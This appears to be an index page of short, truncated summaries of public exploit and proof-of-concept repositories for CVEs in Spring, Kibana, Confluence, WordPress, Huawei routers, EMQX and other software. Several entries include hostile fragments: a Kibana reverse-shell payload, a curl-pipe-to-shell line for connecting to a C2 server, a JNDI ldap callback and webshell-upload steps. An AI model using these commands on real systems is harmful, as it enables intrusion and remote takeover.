spring-framework-rce

spring-framework-rce CVE-2022-22965 環境要件 1. tomcat8 8 使用方法 1. springframeworkrce-0.0.1-SNAPSHOT.zip をダウンロードして解凍後、名前を ROOT.war に変更します。 2. tomcat 内の webapps フォルダ配下の ROOT フォルダまたは ROOT.war を置き換えます。 3. tomcat 内の bin パスに移動し、.\catalina.bat run を実行します。 テスト方法 省略 結果...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708（BlueKeep）の初期エクスプロイト CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free RDPのtermdd.sysドライバは、内部専用チャネルMST120へのバインディングを適切に処理しないため、不正なDisconnect Provider...

CVE-2026-14982 WP File Download <= 6.3.4 - Authenticated (Subscriber+) Arbitrary File Deletion via 'remoteurl' Parameter

The WP File Download plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete function in all versions. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server,...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

CVE-2022-25581

CVE-2022-25581 インターネット上でどこを探しても見つからないため、バックアップを残しておきます。Python エクスプロイトスクリプト 。以下の手順を自動的に実行するためのものです： ✅ スクリプトの機能目標 1. バックエンドにログインする（csrf と token を取得する） 2. 悪意のあるリクエストパケットを構築し、圧縮ファイル（webshell を含む）をアップロードする 3. アップロードした webshell にアクセスして制御権限を取得する（GET shell） 🧾 前提条件 対象環境：ClassCMS 2.4 Webサーバー：PHP 5.5 + MySQ...

CVE-2019-7609

CVE-2019-7609 kibana-7609 用の Docker ラボセットアップ 参照 : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Kibana を開く 以下のペイロードのいずれかを Timelion ビジュアライザーに貼り付けます 実行をクリックします 左側のパネルで Canvas をクリックします リバースシェルが起動するはずです! : @securityMB によるペイロード .es.propslabel.proto.env.AAAA='require"childprocess".exec"bash -i &...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework リモートコード実行の脆弱性（CVE-2022-22965） Spring-Core-RCE は、Apache Log4j2 の核弾頭レベルの脆弱性エクスプロイトに匹敵する RCE ワンクリック悪用ツールです。 概要 最近、Spring 公式 GitHub issue で Spring Core のリモートコード実行の脆弱性が言及されました。この脆弱性は Spring フレームワークおよび派生フレームワークに広く存在します。 脆弱性の説明 Spring Core は、Spring シリーズ製品において bean...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Pulse Secure mitm research Release date Joint release date with vendor: 26 Oct 2020 Author David Kierznowski, @withdk Credits Sahil Mahajan from the Pulse Secure PSIRT Team for support throughout the disclosure process. Alyssa Herrera, Justin Wagner, and Mimir, and...

confluence-rce-poc

confluence-rce-poc CVE-2021-26084 用の POC のセットアップ Docker 公式の docker-entrypoint.sh を postgres に渡し、必要に応じて DB のユーザー名とパスワードを変更してください。...

pulse-gosecure-rce-poc

pulse-gosecure-rce root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ ...

CVE-2023-46404

CVE-2023-46404 PCRS は、トロント大学で開発されたオンラインプログラミング演習のためのウェブアプリケーションです。 Bitbucket リポジトリ: https://bitbucket.org/utmandrew/pcrs/src/3.11/ 概要 PCRS のコード提出機能を持つ「Questions」ページと「Code editor」ページは、Python サンドボックスをエスケープすることによりリモートコード実行 RCE に対して脆弱です。 詳細 PCRS インスタンスでは、ジェネレータオブジェクトを使用してリモートコード実行が可能です。ジェネレータフレーム...

HG532d-RCE-Exploit

HG532d RCE エクスプロイト 概要 脆弱性CVE-2017-17215に基づくリモートコード実行（RCE）エクスプロイトです。exploit-db.comの元のPoCコードから改造し、Huawei HG532d ホームゲートウェイルーターで動作するようにしました。 説明 このRCEエクスプロイトはCVE-2017-17215に基づいており、Huawei HG532シリーズのホームルーターで動作するUPnPプロセスの脆弱性を悪用します。exploit-db.comの元のエクスプロイトはHG532ホームルーターを対象としています。 このエクスプロイトは、HTTP...

CVE-2024-4577

これは CVE 2024-4577 の POC です このエクスプロイトにより、攻撃者は RCE を実行できます PHP 8.3 8.3.8 PHP 8.2 8.2.20 PHP 8.1 8.1.29 のようなPHPバージョン 引数はコードから確認できます！ この特定のエクスプロイトの詳細については、nist.gov を確認してください。...

CVE-2022-26134-Confluence-RCE

CVE-2022-26134 用エクスプロイト: OGNL インジェクションを介した Confluence の事前認証リモートコード実行 OGNL 界隈のもう一つのエクスプロイト 説明 Confluence は、オーストラリアのソフトウェア企業 Atlassian によって開発された Web ベースの企業向け Wiki です。 2022 年 6 月 2 日、Atlassian は Confluence Server および Data Center アプリケーション向けのセキュリティアドバイザリを公開し、重大度が critical の未認証リモートコード実行の脆弱性を強調しました。この...

CVE-2020-27955-LFS-main

Git-lfs 远程代码执行（RCE）漏洞利用 CVE-2020-27955（.bat / powershell 版本） 受影响：git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken 等。 发现者：Dawid Golunski https://legalhackers.com https://exploitbox.io 已在 Windows 上测试： git、GitHub CLI gh、GitHub Desktop、Visual Studio...

CVE-2023-24489-poc

CVE-2023-24489-poc 使用 bash 实现的 CVE-2023-24489 的 POC。 它需要一个包含要测试的目标列表的 target.txt 文件，格式如下： https://example1.com https://example2.com https://example3.com 该文件必须与 bash 脚本位于同一目录下。 请谨慎使用！ 参考资料：https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE 原利用方式通过上传emqx插件，在插件模板的代码中添加Erlang os模块调用系统命令执行RCE 出网环境，环境默认存在curl，可以直接通过curl http://xx.xx.xx.xx/1.sh | sh上线C2 目标不出网时，由于EMQX本身即为MQTT消息服务器，因此可以直接配合插件上传，在EMQX服务器执行上传的可执行程序...

CVE-2026-22812-POC

OpenCode CVE-2026-22812 エクスプロイター OpenCode の脆弱性（CVE-2026-22812）をチェック・悪用するためのシンプルな Python ツール。 インストール root@kitploit: git clone https://github.com/CayberMods/CVE-2026-22812-POC.git cd CVE-2026-22812-POC pip install requests urllib3 argparse concurrent-log-handler colorama 基本的な使い方 root@kitploit:...

watchTowr-vs-FortiWeb-CVE-2025-25257

watchTowr-vs-FortiWeb-CVE-2025-25257 FortiWeb CVE-2025-25257 用検出アーティファクト生成ツール 技術的な詳細については、ブログ記事 を参照してください。 https://github.com/user-attachments/assets/e59f2b3b-2b9b-469f-b4a8-2b7df2ede194 実行例 root@kitploit: python watchTowr-vs-FortiWeb-CVE-2025-25257.py --target https://192.168.8.30/ --lhost...